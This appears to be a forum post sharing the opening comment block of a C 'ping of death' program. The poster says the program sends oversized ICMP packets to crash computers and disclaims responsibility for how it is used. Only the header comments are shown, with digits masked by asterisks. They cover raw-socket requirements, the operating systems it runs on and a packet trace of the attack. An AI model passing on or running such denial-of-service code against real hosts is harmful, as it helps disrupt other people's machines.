Ping of Death C source code
Here is a code I found - NOT claiming to be mine - that is written in C (and hence works for C++) that can send out huge ping packets and crash computers. DISCLAIMER - I am not responsible for what you do with this:D
[CODE]/*
* win*5ping.c
*
* Simulate the evil win*5 "ping -l 655*0 b***yhost".
* version *.0 Bill Fenner <fenner@freebsd.org> 22-Oct-***6
*
* This requires raw sockets that don't mess with the packet at all (other
* than adding the checksum). That means that SunOS, Solaris, and
* BSD4.*-based systems are out. BSD4.4 systems (FreeBSD, NetBSD,
* OpenBSD, BSDI) will work. Linux might work, I don't have a Linux
* system to try it on.
*
* The attack from the Win*5 box looks like:
* *7:26:**.0**622 cslwin*5 > arkroyal: icmp: echo request (frag 6*44:*480@0+)
